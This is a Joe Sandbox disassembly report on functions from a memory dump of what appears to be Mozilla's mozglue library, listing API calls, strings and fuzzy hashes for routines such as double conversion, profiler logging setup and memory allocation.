Instruction ID: f6b370a61de43d53b1a7161a6734b35b48db5d9979ebb56c147dcebf0e185934
Opcode Fuzzy Hash: 585b733e516672106d871cad38b10c5a5deb17c6299eabbca7e57a8c780e87e9
Instruction Fuzzy Hash: F051D371E152449BDB00DF68C9467EEB7F0BF49318F48841DE85567B81E731A988C7E2

Function 6CB0A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB0A565

Part of subcall function 6CB0A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB0A4BE
Part of subcall function 6CB0A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB0A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB0A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB0A6B6

Strings

z, xrefs: 6CB0A6AE
0, xrefs: 6CB0A5FB

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 883aab8b3e57a1e309fa27125bb81c922ade85db748f60830507bec5447ee7e5
Instruction ID: 91967b9df0e7a80ffb6bd082a2024c489005da0e9c7335f40763a649a9cbdb59
Opcode Fuzzy Hash: 883aab8b3e57a1e309fa27125bb81c922ade85db748f60830507bec5447ee7e5
Instruction Fuzzy Hash: 8B410671A197459FC341DF28C480A9FBBF5BF89354F408A2EE49987650EB30E549CB93

Function 6CA978C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CB1008B), ref: 6CA97B89
free.MOZGLUE(?,6CB1008B), ref: 6CA97BAC

Part of subcall function 6CA978C0: free.MOZGLUE(?,6CB1008B), ref: 6CA97BCF

free.MOZGLUE(?,6CB1008B), ref: 6CA97BF2

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: f08ca03c24c4179ed234c1d3036fa6b031232e0a21d494817becd6b250f6f0ff
Instruction ID: c5014fb51834738e21622c25fc005920f104bb6912d93717c623214c7cbee471
Opcode Fuzzy Hash: f08ca03c24c4179ed234c1d3036fa6b031232e0a21d494817becd6b250f6f0ff
Instruction Fuzzy Hash: 5CC1A331E111288BEB24CB28CD91B9DB7B2BF41314F1442A9D41AE7BD1D7319EC98F61

Function 6CAD9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
__Init_thread_footer.LIBCMT ref: 6CAD949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAD947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAD946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAD9459

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 2633b2084f7c65c938b2587a300b4a64a2ac1cd8b353df60c6111d1c5ebbaf5c
Instruction ID: a227ea3faf936162663cdba706500291cde84aa25610d6dccfac389d4bdf2f4b
Opcode Fuzzy Hash: 2633b2084f7c65c938b2587a300b4a64a2ac1cd8b353df60c6111d1c5ebbaf5c
Instruction Fuzzy Hash: 8501D8B4B041018BE700DB6DEA26A9533B99B1633DF094537E90687F42DA31E9D4C957

Function 6CAE0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAE0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAE0F88
GetCurrentThreadId.KERNEL32 ref: 6CAE0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CAE1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CAE10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CAE114B

Part of subcall function 6CAD8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CAF1563), ref: 6CAD8BD5

free.MOZGLUE(?), ref: 6CAE1174
free.MOZGLUE(?), ref: 6CAE1186

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: d38262cfb72d3c5f015c096a5fbb198d20641bfc2a55fd2a3a7256b52867f6a8
Instruction ID: d3d41c5adfb5cfadba99b2be6d13a4fa29c8aec662565a7c2362d06974c55876
Opcode Fuzzy Hash: d38262cfb72d3c5f015c096a5fbb198d20641bfc2a55fd2a3a7256b52867f6a8
Instruction Fuzzy Hash: E26105756043409FDB10CF25D9807AAB7F5BFC9308F04891DE99947712EB31E988EB82

Function 6CA9B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B6AC

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CA9B61E), ref: 6CA9B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CA9B61E,?,?,?,?,?,00000000), ref: 6CA9B79A

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: a17c33e5ae56e8cf03cdec90fc8322ba64b12cfef1c52a26c056271b71ce9614
Instruction ID: 45834587e3f565d812119a76cd39d9a9b2b1ac8cd3277b37d1f3c21c4d5dce93
Opcode Fuzzy Hash: a17c33e5ae56e8cf03cdec90fc8322ba64b12cfef1c52a26c056271b71ce9614
Instruction Fuzzy Hash: 5741B4B2E001199FCB14DF68EC816AFB7F5BB44324F290769E825E7790E731A94487E1

Function 6CA9EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CB15104), ref: 6CA9EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA9EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA9EFEC
free.MOZGLUE(?), ref: 6CA9F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA9F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CA9F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA9F065
moz_xmalloc.MOZGLUE ref: 6CA9F072

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 701bde418df9f95af2b7403079ae3996abe6741cdb22681299f4c58b9303e394
Instruction ID: 025866a50b7e6e3fdae0327850b8a8645d263c37f3ebab4342bb4438f30b910b
Opcode Fuzzy Hash: 701bde418df9f95af2b7403079ae3996abe6741cdb22681299f4c58b9303e394
Instruction Fuzzy Hash: 1841D4B1A102059FCB08CF68DC819AF77A9BF84324B24022DE816DB795FB31E955C7E1

Function 6CB0B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CB0B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB0B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB0B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB0B5F4
__Init_thread_footer.LIBCMT ref: 6CB0B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CB0B61F
std::_Facet_Register.LIBCPMT ref: 6CB0B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0B655

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 47f34cb069ffc248ee2992698989ba16afcf99dc406f77c9a18a35dbd7964a06
Instruction ID: 04781b859aa2ab988e94351d50dbaedad6d2491f3672205388586b3ae2775d4f
Opcode Fuzzy Hash: 47f34cb069ffc248ee2992698989ba16afcf99dc406f77c9a18a35dbd7964a06
Instruction Fuzzy Hash: 2631B1B1B00254CBCF04DF69C86A9BEBBB5FF8A324F140559D91697B40DB30AD06CB92

Function 6CAA9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CAF7ABE), ref: 6CAA985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CAF7ABE), ref: 6CAA98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CAA9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CAA9918
free.MOZGLUE(?), ref: 6CAA9975

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 9b7834ea1e3fd791556dad310583ab00ec6bb0dc015600ba6fd03008a40f9a1a
Instruction ID: c50328184a0f5cbb3ad4d542a996316e411975ef23ab9013c0b852f57add6833
Opcode Fuzzy Hash: 9b7834ea1e3fd791556dad310583ab00ec6bb0dc015600ba6fd03008a40f9a1a
Instruction Fuzzy Hash: A2719D746007058FC729CFB8C580A56B7F1FF4A3247244AADD85A8BBA0D732F886CB51

Function 6CAAB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CAECC83,?,?,?,?,?,?,?,?,?,6CAEBCAE,?,?,6CADDC2C), ref: 6CAAB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CAECC83,?,?,?,?,?,?,?,?,?,6CAEBCAE,?,?,6CADDC2C), ref: 6CAAB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CAECC83,?,?,?,?,?,?,?,?,?,6CAEBCAE), ref: 6CAAB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CAECC83,?,?,?,?,?,?,?,?,?,6CAEBCAE,?,?,6CADDC2C), ref: 6CAAB896

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: cf4f712c5abb714ada31f88ef07f775dea80a37fc14396acd05160716cb60cc2
Instruction ID: 5beaafc476e73b6ca5df680e22bf3ac65bd3a2002afea4409f98f5e28d186a6d
Opcode Fuzzy Hash: cf4f712c5abb714ada31f88ef07f775dea80a37fc14396acd05160716cb60cc2
Instruction Fuzzy Hash: DA518D757002088FDB19CF9CD498A2AB7F5FF8D318B59865DD98687751C730E842CB80

Function 6CAE1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAE1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CAE1BE3,?,?,6CAE1D96,00000000), ref: 6CAE1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CAE1BE3,?,?,6CAE1D96,00000000), ref: 6CAE1D4C
GetCurrentThreadId.KERNEL32 ref: 6CAE1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAE1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAE1DDA

Part of subcall function 6CAE1EF0: GetCurrentThreadId.KERNEL32 ref: 6CAE1F03
Part of subcall function 6CAE1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CAE1DF2,00000000,00000000), ref: 6CAE1F0C
Part of subcall function 6CAE1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAE1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CAE1DF4

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 45192cadb17ba6df01220954d24fd7431a873333773672d16be80c5e67590553
Instruction ID: 5957a72c52e9c3aa11b4ea855ee3f5f61a1ec9bb96f4ef26e4c72f8bcc89a9e4
Opcode Fuzzy Hash: 45192cadb17ba6df01220954d24fd7431a873333773672d16be80c5e67590553
Instruction Fuzzy Hash: B74179B52007049FCB14DF28C489A66BBF9FB49318F10442DEA5A87B42DB71F854CB91

Function 6CAA38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CB1E220,?,?,?,?,6CAA3899,?), ref: 6CAA38B2
ReleaseSRWLockExclusive.KERNEL32(6CB1E220,?,?,?,6CAA3899,?), ref: 6CAA38C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6CAA3899,?), ref: 6CAA38F1
RtlFreeHeap.NTDLL ref: 6CAA3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CAA3899,?), ref: 6CAA392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CAA3899,?), ref: 6CAA3943
RtlFreeHeap.NTDLL ref: 6CAA396E

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 614e38211acc4a7162c5279dc4c505804af6b8a8d5f948d191e4949feafac731
Instruction ID: 959fa9e1855e04cdb9bafa99aa99b8c6f2ffc25182c2cef816747a3f454cb47f
Opcode Fuzzy Hash: 614e38211acc4a7162c5279dc4c505804af6b8a8d5f948d191e4949feafac731
Instruction Fuzzy Hash: A5214772601710DFD710DF95C884B8ABBB9EF45328F158469D99A97B00C730F886CB91

Function 6CAD84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD85AC

Part of subcall function 6CAD7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAD85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD767F
Part of subcall function 6CAD7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAD85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD7693
Part of subcall function 6CAD7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAD85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD85B2

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 996453359f618480451c4feb45fffd09ef35995e5232caee422dceaac27df51d
Instruction ID: d55dd3686cdeec1eb5426bc5121268d8928b496e370eee641a0f37961eb9d9a7
Opcode Fuzzy Hash: 996453359f618480451c4feb45fffd09ef35995e5232caee422dceaac27df51d
Instruction Fuzzy Hash: CD2181742006019FDB14DB29D888A6AB7B9BF8430DF19482DE55FC3B41DB35F988CB91

Function 6CAA1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAA1699
VerSetConditionMask.NTDLL ref: 6CAA16CB
VerSetConditionMask.NTDLL ref: 6CAA16D7
VerSetConditionMask.NTDLL ref: 6CAA16DE
VerSetConditionMask.NTDLL ref: 6CAA16E5
VerSetConditionMask.NTDLL ref: 6CAA16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAA16F9

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 5ba39dc1796e4023927f5ad50754bfa357dba44185b1b3e4e4ceb5a766b9249e
Instruction ID: 24615cdc1794f51997398c483216546d9f80fd642c4c4f5b765e6a8c8360cc58
Opcode Fuzzy Hash: 5ba39dc1796e4023927f5ad50754bfa357dba44185b1b3e4e4ceb5a766b9249e
Instruction Fuzzy Hash: 5121D5B0740248BBEB105B688C4AFFB737CDF96704F004528F6059BAD0C7749D54C6A1

Function 6CADF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADF619
